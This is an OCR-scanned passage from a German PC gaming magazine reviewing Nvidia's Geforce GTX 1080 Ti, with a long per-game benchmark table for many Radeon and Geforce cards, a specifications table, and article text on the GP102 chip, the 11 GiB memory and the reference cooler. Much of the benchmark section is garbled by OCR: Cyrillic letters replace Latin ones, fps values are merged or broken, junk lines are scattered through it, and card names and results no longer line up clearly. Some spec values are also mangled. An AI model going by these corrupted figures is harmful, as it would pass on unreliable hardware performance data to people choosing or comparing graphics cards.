Takt: 1.266 MHz, 8 GT/s 

RAM: 8 GiB GDDR5 

Preis: Ca. 220 € (-20) 
PLV: 88,9 % 


Radeon 

R9 390 

Takt: 1.000 MHz, 6 GT/s 
RAM: 8 GiB GDDR5 
Preis: Ca. 280 € (+0) 


PLV: 69,4 96 


100% 


к 
к 100 76 
=twww—ss—O— 10 % 
МЕС: 115/81/44 TWW.: 66/60/32 


А05: 48/42/38 
ACS: 90/65/37 
Bl: 207/147/84 
C3: 121/78/38 


CW: 95/93/51 
DMD: 119/84/46 
DM: 200/171/87 
TES: 246/214/130 


F1: 112/95/64 


FCP: 105/81/49 
GTA: 72/56/32 


98,9% 


F1:110/94/64 
F04: 156/106/54 
FCP: 103/80/48 
GTA: 71/56/32 


A05: 47/41/37 
ACS: 89/63/36 
Bl: 204/145/83 
C3: 121/78/39 


CW: 95/92/50 
DMD: 117/83/45 
DM: 200/169/85 
TES: 237/213/129 


83,3 % 


F04: 156/106/54 OW: 236/159/82 


ROT: 104/74/42 
TTP: 113/90/57 


ECR: 118/75/36 
W3: 132/93/51 
СОР: 51,0 


Radeon 

R9 290X 

Takt: 1.000 MHz, 5 GT/s 

RAM: 4 GiB GDDR5 

Preis: Nicht lieferbar 
РМ: – 


МЕС: 114/81/44 TWW: 66/60/32 


0W: 229/157/81 


ROT: 102/73/41 
ТТР: 112/89/56 


ECR: 119/75/36 
W3: 130/92/50 
COP: 50,6 


Radeon 
RX 480/4G 


Takt: 1.266 MHz, 7 GT/s 

RAM: 4 GiB GDDR5 

Preis: Ca. 185 € (-5) 
PLV: 100 % 


=— as: 
Km——€& 51,7 % 


Gw w—V 75,7 % 


A0S: 44/36/30 
ACS: 77/54/29 
Bl: 170/121/63 
C3: 95/60/30 


CW: 94/78/38 
DMD: 99/68/36 
DM: 196/140/69 
TES: 227173101 


F1: 98/82/53 
F04: 130/85/43 
FCP: 87/66/39 
GTA: 63/47/25 


MEC: 97/68/36 


OW: 176/120/63 


ROT: 84/59/31 


TWW: 65/48/26 
ECR: 94/59/27 
W3: 109/76/40 


Radeon 

R9 290 

Takt: 947 MHz, 5 GT/s 

RAM: 4 GiB GDDR5 

Preis: Nicht lieferbar 
PLV: — 


LEE 
ПЕД 
Г _ г 
N +2; 


AOS: 39/29/27 
ACS: 64/44/24 
BI: 143/98/50 
C3: 77/48/24 


CW: 93/62/30 
DMD: 79/53/28 F04: 105/69/35 
DM: 165/106/53 — FCP: 68/51/30 
TES: 197/143/84 СТА: 53/38/20 


F1: 81/66/42 


ТТР; 105/79/47 СОР: 44,9 
Geforce 
GTX 1060/3G 
Takt: 1.709 MHz, 8 GT/s 
МЕС: 77/53/28 ТУЛА: 58/39/21 RAM: 3 GiB GDDR5 


OW: 141/95/50 
ROT: 66/45/24 


ECR: 76/47/22 
W3: 87/59/31 


Preis: Ca. 200 € (+0) 


=G—————srvcve-s s 
= ——ra % 
Km—— sl 60,6 % 
www s s. 


F1: 75/62/40 
FO4: 100/67/35 
FCP: 60/47/29 
GTA: 45/34/19 


А05: 31/24/22 
АСЅ: 54/39/21 
ВІ: 143/99/51 
C3: 74/47/23 


CW: 91/58/28 
DMD: 70/48/25 
DM: 146/95/47 
TES: 177/130/77 


Д 0j 
TIP:69/54/34 — СОР:411 PIV: 86,8 % 
Radeon 
RX 470/8G 
Takt: 1.205 MHz, 6,6 GT/s 
МЕС: 69/48/20 ТУЛА: 55/38/20 RAM: 8 GiB GDDR5 


OW: 134/90/47 
ROT: 62/44/24 


ECR: 72/45/21 
W3: 79/54/29 


Preis: Ca. 220 € (-10) 


=— O % 


==—— 


EN 56,1 % 


www 53.3 % 


А05: 34/28/26 CW: 85/59/30 F1: 72/60/41 
АСЅ: 49/30/13 DMD: 73/60/23 РО4: 81/56/29 
ВІ: 150/101/53 DM: 177/115/57 РСР: 58/47/31 


Д 0j 
TTP: 68/53/35 — COP:37,5 PN: TII 
Geforce 
GTX 970 
Takt: 1.178 MHz, 7 GT/s 
МЕС: 33/24/11 TWW: 46/31/7 RAM: 3,5+0,5 GiB GDDR5* 


OW: 126/88/47 
ROT: 49/3722 


ECR: 57/38/19 
W3: 75/54/31 


Preis: Ca. 240 € (-10) 


A 0 
СЗ: 71/47/24 TES: 132/104/66 СТА: 42/31/14 TTP: 68/55/35 СОР: 59,8 РІМ: 70,2% 
| BEE 
BEE Radeon 
[RENE RX 470/4G 
ww Takt: 1.205 MHz, 6,6 GT/s 
A0S: 29/23/22 CW: 78/51/25 F1: 61/51/34 MEC: 50/35/19 TWW: 33/24/13 RAM: 4 GiB GDDR5 


ACS: 39/27/15 
Bl: 124/80/40 


DMD: 63/43/23 
DM: 139/91/45 


F04: 67/46/24 
FCP: 50/40/26 


OW: 99/68/35 
ROT: 44/33/19 


ECR: 46/31/15 
W3: 54/38/21 


Preis: Ca. 170 € (-10) 


Д D 
C3: 58/38/19 TES: 121/94/59 СТА: 37/28/15 ТТР: 68/53/31 СОР: 56,1 Mad 
[LL ÉL 
——cs HI] ачыс, 
г 0565 GTX 780 Ti 
Kwww— Takt: 928 MHz, 7 GT/s 
А05: 30/21/20 CW: 74/45/21 F1: 61/49/31 МЕС: 56/38/16 TWW: 43/28/15 RAM: 3 СІВ GDDR5 


ACS: 47/31/16 
Bl: 113/72/36 


DMD: 54/36/18 
DM: 115/73/36 


F04: 76/50/25 
FCP: 49/37/22 


OW: 100/67/35 
ROT: 46/31/17 


ECR: 53/33/15 
W3: 61/41/22 


Preis: Nicht lieferbar 
РМ: – 


СЗ: 56/35/17 TES: 144/102/58 СТА: 40/28/14 ТТР: 58/44/26 СОР: 32,3 

[ [Ei 

ӨШ Des 
P 44. % GTX Titan 
DS PET Takt: 875 MHz, 6 GT/s 
AOS: 27/22/21 CW: 65/41/20 F1: 63/52/33 MEC: 53/36/19 TWW: 35/24/13 RAM: 6 GiB GDDR5 


ACS: 43/29/15 
BI: 111/70/34 


DMD: 61/40/20 
DM: 145/91/44 


F04: 65/42/20 
FCP: 46/36/22 


OW: 98/66/34 
ROT: 43/31/18 


ECR: 44/28/13 
W3: 60/41/22 


Preis: Nicht lieferbar 
РМ: – 


C3: 51/32/15 TES: 118/87/51 СТА: 34/24/13 ТТР: 56/43/25 СОР: 46,3 
НЕНИ 5,5 

1—0 Geforce 
E 13.9 % GTX 780 
www Takt: 901 MHz, 6 GT/s 
A0S: 27/22/21 CW: 74/48/23 F1: 55/46/30 МЕС: 47/32/18 TWW:29/21/12 RAM: 3 GiB GDDR5 
ACS:35/25/14 DMD: 58/40/21 ^ FO4:63/44/23 OW: 89/61/32 ЕСЕ: 43/29/14 Preis: Nicht lieferbar 
BI: 114/73/37 DM: 126/82/42 FCP: 46/37/23 ROT: 40/30/17 W3: 48/33/18 РІМ: — 

C3: 54/36/18 TES: 111/85/53 GTA: 34/26/14 TTP: 62/48/29 СОР: 54,8 ` 


г ши 
ми ~e. o 
р 

нини s; % 

AOS: 26/21/20 — СМЕ 71/4603 — Е1:564731 
ACS: 36/23/11 ОМО: 56/38/19 — FO4:60/41/21 
Bl: 111/735 ОМ: 128/83/41 ЕСР: 46/37/23 
C3:5385/7 TES: 113/86/54 СТА: 34/25/9 


МЕС: 28/20/11 
OW: 92/62/31 
ROT: 41/30/18 
TTP: 61/47/28 


TWW: 29/21/7 
ЕСЕ: 42/28/14 
W3: 50/35/19 
СОР: 51,7 


г 57 % 
a 3 % 
[r l [Fj 

wsssasÍ % 

AOS: 27/21/20 — СМ: 6240/19 — Fl:62/51/32 
ACS: 39/2412 DMD:57/38/8 ^ FO4:63/41/19 
BI[108/68/33 ОМ: 143/90/43 — FCP:45/35/21 
C3:49/31/14 — TES:117185/50 — GTA:33/23/11 


MEC: 30/22/14 
OW: 96/66/34 
ROT: 42/30/17 
TTP: 55/42/24 


TWW: 3423/7 
ECR: 43/27/13 
W3: 59/40/21 
COP: 46,3 


г шы 
[l [ED 
__ 39,7% 
Нн sa 
AOS:25/20/19 СМ: 69/43/22 Е1:51/42/27 


МЕС: 28/20/11 TWW: 27/20/11 


ACS: 33/21/11 ОМО: 54/36/18 ЕО4: 58/40/21 ОМ: 82/57/29 ЕСА: 40/26/13 
BI: 106/68/34 DM: 118/77/38 ЕСР: 42/34/22 КОТ: 38/28/16 МЗ: 45/32/17 
C3: 50/33/16 TES: 103/79/49  GTA:32/23/8 TTP: 58/44/27 СОР:48,9 
A PES 

Gw j 2 9 
щи 11,0% 

Gss. 

AOS:27/20/13 ОА: 70/43/20 F1:55/43207 — МЕС:3221П1 — TWW:40/25/6 


ACS: 45/28/6 
BI: 108/69/34 
(3: 53/33/16 


DMD: 47/30/14 
DM: 102/64/26 
TES: 135/96/54 


F04: 71/47/23 
FCP: 46/34/20 
GTA: 38/27/6 


OW: 93/62/32 
ROT: 26/15/9 
TTP: 55/41/24 


ECR: 49/30/13 
W3: 57/38/20 
СОР: 31,0 


> Ен: 
[ l [PD 
E 505 
DK 
AOS:26/20/19 — CW:56/35/17 F1: 57/46/29 
ACS: 36/24/12 DMD:53/35/18 FO4: 58/37/17 
Bl: 98/61/30 DM: 121/77/37 FCP: 40/31/19 


MEC: 47/32/17 
OW: 85/58/29 
ROT: 38/27/15 


TWW: 31/21/11 
ECR: 39/25/12 
W3: 53/36/19 


C3: 45/28/13 TES: 107/78/45 GTA: 30/21/11 TTP: 50/38/22 COP: 39,3 
ws. 

ww EX * 3.584 MiB (224 Bit) 
N 375 + 512 МІВ (32 Bit) 
8 51% 


А05: 25/18/16 
ACS: 40/26/11 
Bl: 106/67/33 
C3: 50/31/15 


CW: 64/38/18 

DMD: 46/32/16 
DM: 105/66/31 
TES: 122/88/50 


F1: 56/45/25 
F04: 69/45/23 
FCP: 43/31/17 
GTA: 34/24/7 


MEC: 31/23/11 
OW: 90/60/31 

ROT: 33/22/13 
TTP: 52/39/22 


TWW: 38/25/11 
ECR: 43/26/12 
W3: 54/37/19 
СОР: 28,5 


==———s % 
Г 
ннн 3247 
Gs 
A0S: 26/2019 CW: 57/36/17 

ACS: 36/24/11 ` DMD:52/35/16 


Е1: 57/46/29 
F04: 58/37/18 


MEC: 28/20/12 
OW: 86/58/30 


TWW: 3121/7 
ECR: 39/25/12 


BI: 98/61/30 DM: 121/77/37 — FCP:40/32/19 В07:38/27/10 W3:5386/19 
C3:4528/14 TES: 107/77/45 — GTA;3021/10 TTP: 50/38/23 — COP:393 
=G=—rrF 5 % 

| TP 
ЖЕТ 

Gw 

А05:23/18/15 — CW:643919 — F1:524327 — МЕС: 28/19/11 ТИМА: 36/12/4 
ACS:350277] DMD: 46/31/15 — FO4:64/4220 OW: 90/61/31 ЕСК: 45/28/12 
BI: 117/76/38 ` DM:82/5226 СР: 41/3219 — ROT:30/7/H2 — W3:53/38/20 
C3:55/35/16 TES: 122/92/55 — GTA:35/26/ — TTP:59/A46 — COP:280 
Гг _ 39,9 % 
LA 
[ERA 

U F lO 

AOS: 22117115 — CW:60/37/8 — Fl:463924 MEC: 41/28/13 TWW: 33/23/12 


ACS: 32/21/11 
Bl: 109/71/35 
C3: 52/32/15 


DMD: 44/31/16 
DM: 76/48/24 
TES: 116/88/53 


F04: 58/38/18 
FCP: 38/30/18 
GTA: 33/24/13 


OW: 87/58/29 
ROT: 36/26/15 
TTP: 56/42/24 


ECR: 42/25/12 
W3: 48/35/19 
COP: 26,0 


В 
„ШШЩ 
D 50 
pu 288 % 
А05:19/15/12 CW:57135/17 


F1: 44/36/22 MEC: 26/18/8 TWW: 30/12/73 


ACS: 30/19/5 DMD: 40/26/12 F04: 55/36/18 О\\ 76/51/26 ECR: 38/23/10 
Bl: 103/67/33 DM: 65/42/20 FCP: 35/28/16 ROT: 21/16/6 W3: 45/31/17 
С3: 47/30/14 TES: 108/81/50 GTA: 31/23/6 TTP: 50/37/21 СОР: 21,9 


Spiele-/Anwendungsnamen: Ashes о 


System: Core i7-6800K @ 4,4 GHz Ee 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiByte Corsair DDR4-3000 (1T); Windows 10 x64 (1607); anisotroper Texturfilter geleet Ga auf „Hohe Qualität” (HQ-AF); Vsync aus 

the Seed (AOS), Assassin's Creed Syndicate (ACS), Bioshock Infinite (BI), Crysis 3 (C3), Crysis Warhead (CW), Deus Ex: Mankini 

Far Cry Primal (FCP), Grand Theft Auto 5 (GTA), Mirror's Edge: Catalyst (MEC), Overwatch (OW), Rise of the Tomb Raider (ROT), The Talos Principle (ТТР), Total War: Warhammer (TWW), pa d Scrolls 5: Skyrim (TES), The Vanishing of 
Ethan Carter Redux (ECR), The Witcher 3 (W3), Capture One Pro (CÓP). Angabe auf die náchste Ganzzahl gerundeter Fps, auBer COP (Megapixel/s). Wichtig: Die Anwendungsleistung flieBt (nur) in den blauen Gesamt-Index ein. 


Divided ( (DMD), Doom (DM), F1 2016 (F1), Fallout 4 (FO4), 
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GTX 1080 TI, der 
Titan-X-Toter 


11 GiByte des schnellsten GDDR5X-Speichers und ein Preisschild von 819 Euro: Mit der neuen 


Geforce GTX 1080 Ti entthront Nvidia seinen eigenen König Titan X (Pascal). 


eit dem 10. März ist Nvidias Ge- 

force GTX 1080 Ti im Handel. 
Die „Founder’s Edition“ ist darauf 
ausgelegt, die sündhaft teure Ti- 
tan X (Pascal) zu entthronen - in 
Sachen Leistung, nicht beim Preis; 
die GTX 1080 Ti FE war bei Redak- 
tionsschluss dieser Ausgabe bereits 
ab 780 Euro erhältlich. Parallel fei- 
len die Boardpartner an ihren eige- 
nen Designs, welche dank stärkerer 
Kühlung und werkseitig erhöhter 
Taktraten noch höhere Bildraten 
in Spielen erreichen. Die meisten 
Hersteller geben an, ihre Custom- 
Designs im Laufe des April und Mai 
in den Handel zu bringen. 


Wir testen derweil die Founder’s 
Edition auf Herz und Nieren, denn 
sie ermöglicht den direkten und 
günstigsten Einstieg in oberste Leis- 
tungsregionen. Im Gegensatz zur 
Titan X, welche nur über Nvidias 
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Online-Shop erhältlich war, haben 
Sie bei der GTX 1080 Ti die Wahl, 
welchem Hersteller oder Händler 
Sie Ihr Geld und Vertrauen überge- 
ben - sie alle dürfen das Referenz- 
design mit individuellen Beigaben 
und unterschiedlichen Garantie- 
zeiträumen anbieten. Dadurch ent- 
steht ein (schwacher) Preiskampf, 
welcher bereits zu Preissenkungen 
unter die unverbindliche Preisemp- 
fehlung von 819 Euro führte. 


Video auf Heft- 


Die Technik der GTX 1080 Ti 
Im Datenblat der ,ultimativen Ge- 
force", wie Nvidia die GTX 1080 
Ti bewirbt, stehen 3.584 Shader- 
Rechenwerke, organisiert in 28 
Shader-Multiprozessoren (SM) 
und 6 Graphics Processing Clus- 
ter (СРС). Das wirkt nicht zufällig 
vertraut. Wie bei der Titan X (Pas- 
cal) sind zwei SMs à 128 ALUs des 
GP102-Chips deaktiviert. Letzterer 
verfügt insgesamt über 3.840 FP32- 


The Witcher 3 in Ultra 

HD mit 50+ Fps dank 
2.000/6.000 MHz: Auf 
dem Datentráger der 
DVD-Heftversion finden Sie 
ein rund 10-minütiges Video, in dem wir die 
GTX 1080 Ti mit dem Nachrüstkühler Accelero 
Hybrid 111-140 zur Höchstleistung treiben. 


«nVIDIA. s» rom us 
| 


ALUS, kommt voll bestückt jedoch 
bislang auf keiner Consumer-Gra- 
fikkarte zum Einsatz - allein das 
Profimodell Quadro P6000 verfügt 
über einen vollwertigen GP102. 
Wie gehabt hángen an jeder ALU- 
Gruppe zwei Quad-TMUSs, sodass 
sich die Gesamtzahl der Texturein- 
heiten auf 224 beläuft. 


Die Einschnitte haben produktions- 
technische Gründe: Mit der Größe 
des Grafikchips steigt die Wahr- 
scheinlichkeit, dass irgendwo auf 
dem Kern ein Defekt auftritt. Um 
betroffene Chips nicht der Ent- 
sorgung zuzuführen, wurden Me- 
thoden entwickelt, die defekten 
Chipteile stillzulegen, um den funk- 
tionsfähigen Rest gewinnbringend 
zu verkaufen. Man spricht hierbei 
von einem Salvage-Produkt, da die 
Reste sozusagen geborgen und wei- 
terverwendet werden. Nvidia gibt 


Referenzplatine mit 7+2 Phasen und 12 Lagen 
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Technische Daten: Geforce GTX 1080 Ti im Vergleich 


Modell Titan X Geforce GTX Geforce GTX Geforce GTX Geforce GTX Radeon R9 Radeon R9 

(Pascal) 1080 Ti 1080 1070 980 Ti Fury X 390X 
Codename GP102-400 -A1 GP102-350-K1-A1 GP104-400-A1 GP104-300-A1 GM200-310-A1 Fiji XT Hawaii XT 
DX-12-Feature-Level 1281 12_1 (ES 12_1 1271) 20 750 
Chipgröße (reiner Die) 471 mm? 471 mm? 314 mm? 314 mm? 601 mm? 596 mm? 438 mm? 
Transistoren Grafikchip (Mio.) 12.000 12.000 7.200 7.200 8.000 8.900 6.200 
Shader-/SIMD-/Textur-Einheiten 3.584/28/224 3.584/28/224 2.560/20/160 1.920/15/120 2.816/22/176 4.096/64/256 2.816/176/64 
Raster-Endstufen (ROPs) 96 88 64 64 96 64 64 
GPU-Basistakt (Megahertz) 1.417 1.480 1.607 1.506 1.002 Unbekannt Unbekannt 
GPU-Boost-Takt (Megahertz) 1.531 1.582 12733 1.683 1.075 1.050 1.050 
Rechenleistung SP/DP (Mio./s) 10.974/343 11.340/354 8.873/277 6.463/202 6.054/189 8.602/538 5.913/739 
Durchsatz Pixel/Texel (Mrd./s) 137,2/342,9 141,7/354,1 110,9/277,3 101,0/202,0 94,6/189,2 67,2/268,8 67,2/184,8 
Speicheranbindung (Bit) 384 352 256 256 384 4.096 512 
Geschw. Grafikspeicher (GT/s) 10,0 110 10,0 80 10 1,0 5 
Speichertyp GDDR5X GDDR5X GDDR5X GDDR5 GDDR5 HBM (gen1) GDDR5 
Speicherübertragung (GB/s) 480 484 320 256 336,6 512 320 
Übliche Speichermenge (MiB) 12.288 11.264 8.192 8.192 6.144 4.096 8.192 
PCI-Express-Stromanschlüsse je 1 x 6-/8-polig je 1 x 6-/8-polig 1 x 8-polig 1 x 8-polig je 1 x 6-/8-polig 2 x 8-polig je 1 x 6-/8-polig 
Typische Leistungsaufnahme <250 Watt <250 Watt <180 Watt 150 Watt <250 Watt 275 Watt 250 Watt 
Leistungsangaben auf Basis des typischen Boost-Taktes; es handelt sich ausnahmslos um die Spezifikationen der Referenzdesigns von AMD und Nvidia. 


Lautheit und Leistungsaufnahme (Referenzdesigns) 


Geforce Titan X Geforce Geforce Geforce Radeon R9 Nano Geforce | Geforce Radeon 
GTX 1080 Ti (Pascal) GTX 1080 | GTX Titan X | GTX 980 Ti | R9 Fury X | (Asus White) | GTX 980 | GTX 780 Ti | R9 290X 


Lautstárke (aus 50 cm Entfernung lotrecht zum Lüfter) 


Leerlauf (Windows-Desktop) 0,4 Sone 0,5 Sone 0,4 Sone 0,3 Sone 0,3 Sone 1,3 Sone 0,8 Sone 0,3 Sone 0,6 Sone 0,6 Sone 
Zweischirmbetrieb (Ultra HD + Full HD) 0,4 Sone 0,5 Sone 0,4 Sone 0,3 Sone 0,3 Sone 1,3 Sone 0,8 Sone 0,3 Sone 0,6 Sone 0,6 Sone 
Video: Youtube in Ultra HD 0,4 Sone 0,5 Sone 0,4 Sone 0,3 Sone 0,3 Sone 1,3 Sone 0,8 Sone 0,3 Sone 0,6 Sone 0,6 Sone 
Crysis 3 (1.920 x 1.080) 2,8 Sone 3,9 Sone 3,1 Sone _ _ 1,4 Sone 2,5 Sone _ _ _ 
Anno 2070 (3.840 x 2.160) 4,0 Sone 4,9 Sone 3,2 5опе 4,3 бопе 4,5 Sone 1,6 Sone 2,9 Sone 3,0 Sone 4,3 Sone 9,6 Sone 
Leistungsaufnahme (isoliert vom Restsystem gemessen) 

Leerlauf (Windows-Desktop) 12,5 Watt 12 Watt 9,5 Watt 18 Watt 15 Watt 21 Watt 14 Watt 12 Watt 16 Watt 21 Watt 
Zweischirmbetrieb (Ultra HD + Full HD) 15 Watt 14 Watt 12 Watt 23 Watt 20 Watt 25 Watt 18 Watt 15 Watt 18 Watt 61 Watt 
Video: Youtube in Ultra HD 19 Watt 17 Watt 11,5 Watt 24 Watt 21 Watt 55 Watt 45 Watt 14 Watt 20 Watt 89 Watt 
Crysis 3 (1.920 x 1.080) 225 Watt 227 Watt 175 Watt _ 230 Watt 250 Watt 195 Watt 165 Watt _ _ 
Anno 2070 (3.840 x 2.160) 230 Watt 231 Watt 171 Watt 243 Watt 234 Watt 313 Watt 198 Watt 163 Watt 245 Watt 289 Watt 


Jeweils gerundete Werte. Bei allen Karten gelten die Standardeinstellungen. Weitere Informationen zu Belüftung und Lautheit im Verlauf oben. 


Referenzkühler mit Vapor-Chamber und Radiallüfter 
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Keine Angst vor krummem RAM 


Die GTX 1080 Ti ist die erste und einzige Grafikkarte mit der ,,krum- 
men" Speicherkapazitàt von 11.264 MiByte. Schlimm ist das nicht. 


Seit dem Speicherskandal, welchen Nvidia mit der Geforce GTX 970 ausgelöst 
hat, schauen Presse und Nutzer noch genauer hin (siehe u. a. PCGH 10/2015). 
Wir erinnern uns: Die GTX 970 verfügt zwar über volle 4.096 MiByte Speicher, 
allerdings deaktivierte Nvidia einen L2-Cache-Block, sodass die hinteren 512 
MiByte nur dann — und nur extrem langsam — verwendet werden können, wenn 
der Speicher-Controller daneben ihn mitversorgt. Dieses pikante Detail verschwieg 
Nvidia zunächst, was den Aufruhr verursachte. 


Bei der Geforce GTX 1080 Ti verzichtet Nvidia auf derartige Tricks. Stattdessen 
installieren die Kalifornier ehrliche, wenn auch krude 11.264 MiByte, aufgeteilt 


in 11x 


.024 MiByte und insgesamt 352 Datenpfade. Auch Teile des den Spei- 


cher-Controllern zugeteilten Level-2-Caches sowie die Render-Backends (ROPs) 
schrumpfen auf 2.816 KiByte sowie 88 ROPs (Titan XP: 96). Die Geforce GTX 1080 


aber der Titan X Pascal befindet. 


i trágt infolgedessen eine freie Speicherlótstelle auf der Platine (siehe Pfeil im 
Bild unten). Die Lage des Controller-Defekts bestimmt, an welcher Stelle sich die 
reien Lótpunkte befinden. Auf den Eingriff bei den Speicher-Innereien weist die 
Aufschrift ,K1" hin, welche sich auf den GP102-Kernen der GTX 1080 Ti, nicht 


B Geeks3D GPU Caps Viewer 1.33.0.0 
GPU 


OpenGL CUDA OpenCL Wulkan 30 Demos Tools 


= х 


[Number of CL platforms: 1 


Version/Profile 
Devices 


OpenCL 1.2 CUDA 8.0.0 FULL PROFILE 


[ Number of CL devices: 1 


Type GPU 


Compute Units 28 


E LEY 
Clock Ly 


ver. | OpenCL 1.2CUDA Driver 


Global Mem. 
Local Мет. 
2D image size | 16384 х 32768 


48KB 


3D image size | 16384 x 16384 x 16: 
Work Item Sizes | 1024 x 1024 x 64 


11264MB (Cache: 4 


More OpenCL information... 


378.78 
OpenCL 
Constant buffer | 64KB 
Мах Samplers| 32 
OpenCLextensions| 14 


Work group size | 1024 
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an, dass sich der 471 пип? grofše 
Pascal-GP102 vielseitig konfigurie- 
ren làsst, der Hersteller folglich ei- 
nige Defekte umschiffen kann. Sind 
beispielsweise ein oder zwei Sha- 
der-Multiprozessoren unbrauch- 
bar, können diese Chips auf der 
GTX 1080 Ti und Titan X verwen- 
det werden, solange das Problem 
keine anderen Funktionsgruppen 
betrifft. Nvidia verfährt hierbei 
seit Jahren gleich: Es ist dem Zufall 
überlassen, welche SMs innerhalb 
des Chips abgeschaltet werden, 
man erhält jedoch stets 28. Wichtig 
in diesem Kontext ist, dass die Pi- 
xelfüllrate auch bei Pascal mit der 
Anzahl der GPCs zusammenhängt. 
Die Befürchtung, dass sich die be- 
schnittenen GP102-Karten hier 
voneinander unterscheiden, ist 
angesichts der garantierten sechs 
GPCs, mit unterschiedlicher SM- 
Konfiguration darin, unbegründet. 


GTX 1080 Ti > Titan X 

Trotz aller Einschnitte bietet die 
Geforce GTX 1080 Ti sowohl eine 
höhere Speichertransferrate als 
auch eine höhere Rechenleistung 
als die Titan X. Das hat sie zwei 
Dingen zu verdanken: Erstens spe- 
zifiziert Nvidia die GTX 1080 Ti mit 
einem typischen, mittleren Boost 
von 1.582 anstelle von 1.531 MHz, 
zweitens kommt auf der Geforce 
GDDR5X-Speicher mit 
einer Datenrate von 11 Gigabit 
pro Sekunde zum Einsatz. Jener 
11-Gbps-G5X mit der Bezeichung 
MT58K256M321-JA110 stammt aus 
dem Hause Micron, arbeitet auf der 
GTX 1080 Ti intern mit rund 1.377 
MHz und überträgt vier Datenpake- 
te pro Zyklus - effektive 5.508 MHz 
und 484 GByte Datendurchsatz pro 
Sekunde sind die Folge. Nvidia hat 
demnach genau gerechnet, um die 
Karte auf den Leistungsthron zu 
setzen, getreu dem Motto „Der Kö- 
nig ist tot, es lebe der König“. 


erstmals 


Achillesferse 11 GiByte? 

Treue PCGH-Leser wissen, dass wir 
unsere — Grafikkarten-Empfehlun- 
gen mit Blick nach vorn ausspre- 
chen. Das beinhaltet immer ein 
Auge auf moderne Spiele bei ma- 
ximalen Details und das, was noch 
auf uns zukommt. Die Speicher- 
kapazitàt einer Spieler-Grafikkarte, 
die heutzutage von uns das Prädi- 
kat „allem gewachsen“ erhält, sollte 
mindestens 8 GiByte betragen. In 
der PCGH 12/2016 führen wir breit 


aus, wie wir zu dieser Aussage kom- 
men. Die 11 GiByte der Geforce 
GTX 1080 Ti mögen etwas krude 
wirken, dennoch verfügt diese Gra- 
fikkarte über 3 GiByte mehr als das, 
was wir als sorgenfrei bezeichnen 
würden - selbst dann, wenn man 
davon ausgeht, dass eine GTX 1080 
Ti in höheren Auflösungen und 
Qualitätseinstellungen verwendet 
wird als beispielsweise eine Rade- 
on RX 480 oder Geforce GTX 1070. 


Es existieren nur zwei Endkunden- 
Grafikkarten mit größerer Spei- 
cherkapazität: Die Titan X (Pascal) 
und die Geforce GTX Titan X (Max- 
well) aus dem Jahr 2015. Beide ver- 
fügen über vollwertig angebunde- 
ne 12.288 MiByte, ergo einen um 
1 GiByte respektive neun Prozent 
größeren Puffer. Das ist auf dem 
Papier ein Vorteil, der einen etwas 
längeren Atem nahelegt. 


Wir haben mithilfe von Extremtests 
die Standhaftigkeit der GTX 1080 
Ti überprüft und können eine Ent- 
warnung aussprechen. Nennens- 
wert ist unser Ausflug ins virtuelle 
San Francisco innerhalb von Watch 
Dogs 2. Mithilfe extremer, maßge- 
schneiderter Grafikeinstellungen 
- unter anderem 6K-Auflösung und 
TXAA - haben wir solange an den 
Optionen getüftelt, bis uns sowohl 
die Titan X als auch die GTX 1080 
Ti eine Speicherbelegung von 11 
GiByte attestierten. Große Teile 
der Daten lassen sich dabei nicht 
streamen, die Bildpuffer der hohen 
Auflösung und wegen des Multi- 
samplings müssen - im Gegensatz 
zu den entbehrlichen Texturen 
- stets im Grafikspeicher bereitge- 
halten werden. Das Ergebnis ist ein- 
deutig: Beide Grafikkarten sind mit 
Bildraten im 10-Fps-Bereich völlig 
ungeeignet für Späße wie diesen, 
Vorteile für die Titan X stellen sich 
in unserer Messreihe keine ein. In 
8K sind letztlich beide Grafikkar- 
ten am Bersten, müssen Gigabytes 
an Daten in den Hauptspeicher aus- 
lagern und produzieren nur noch 
verschwommene Standbilder. 


Spätestens nach dem Erscheinen 
der Xbox Scorpio (Ende 2017), die 
Spielen - und somit Cross-Platform- 
Entwicklungen - deutlich größere 
Speicher-Pools anbietet, könnte 
sich eine Grafikkarte mit mehr als 
8 GiByte lohnen. Derzeit trifft das 
nur auf extreme Einstellungen jen- 
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seits von Ultra HD zu. Gesetzt diesen Fall 
könnte es auch Corner Cases geben, bei 
denen sich 12 anstelle von 11 GiByte aus- 
zahlen. Die Relevanz dieser Fälle, welche 
im Laufe des Jahres 2018 langsam zuneh- 
men dürften, ist jedoch fraglich. Im Zwei- 
fel werden sowohl die GTX 1080 Ti als 
auch die Titan X mit Leistungsproblemen 
zu kämpfen haben. Und geht der Ti tat- 
sächlich einmal der Speicher aus und der 
Titan X nicht, erledigt sich das Problem 
durch die Wahl der nächstschwächeren 
Textur-, Schatten- oder AA-Stufe. 


Platine und Kühler 

Das Kühldesign der Geforce GTX 1080 Ti 
gleicht äußerlich dem der Geforce GTX 
1080 Founder’s Edition, folgt also dem 
Prinzip des Direct Heat Exhaust (DHE) 
und bläst die erwärmte Luft direkt aus 
dem Gehäuse. Die Konstruktion aus Alu- 
minium-Guss und Kunststoff sowie ei- 
nem Radiallüfter hinterlässt nach wie vor 
einen qualitativ hochwertigen Eindruck 
und wurde von Nvidia für die GTX 1080 
Ti FE leicht überarbeitet. Während das 
Herzstück des Kühlers, die Vapor Cham- 
ber, laut unserem Kenntnisstand die glei- 
che wie auf der Titan X Pascal ist, sorgen 
andere Unterschiede für eine veränderte 
Kühlungsperformance auf der Geforce 
GTX 1080 Ti. Dazu zählt der Verzicht auf 
einen DVI-Ausgang, er macht Platz für 
weitere Lüftungsschlitze (siehe oben), 
sodass der Radiallüfter bei gleicher Dreh- 
zahl mehr Luft aus dem Kühler pressen 
kann und es weniger Verwirbelungen 
gibt. Freunde des kühlen Nass wird 
freuen, dass die GTX 1080 Ti Founder’s 
Edition dank dieser Änderung und nach 
Montage eines Wasserkühlers ein reines 
Single-Slot-Design wird. 


Bei der Platine sind die Änderungen 
noch etwas gravierender und grundsätz- 
lich positiv: Nvidia hat gegenüber der 
Titan X Pascal die Spannungsversorgung 
aufgebohrt. Trägt die TXP noch sechs 
Phasen für die GPU, kann die GTX 1080 
Ti auf sieben Phasen und somit eine Voll- 
bestückung der Platine zurückgreifen. 
Damit nicht genug, auch am Layout der 
Wandlerzüge wurde gefeilt, um Last und 
somit Hitzeentwicklung besser zu vertei- 
len: Jede Phase verfügt über die doppelte 
Menge an Mosfets, pro Phase sind deren 
zwei vorhanden (Titan X/GTX 1080 & 
Co: je eine). Durch diese Arbeitsteilung 
arbeiten die hitzköpfigen Bauteile unter 
Last wesentlich kühler; außerdem ist die 
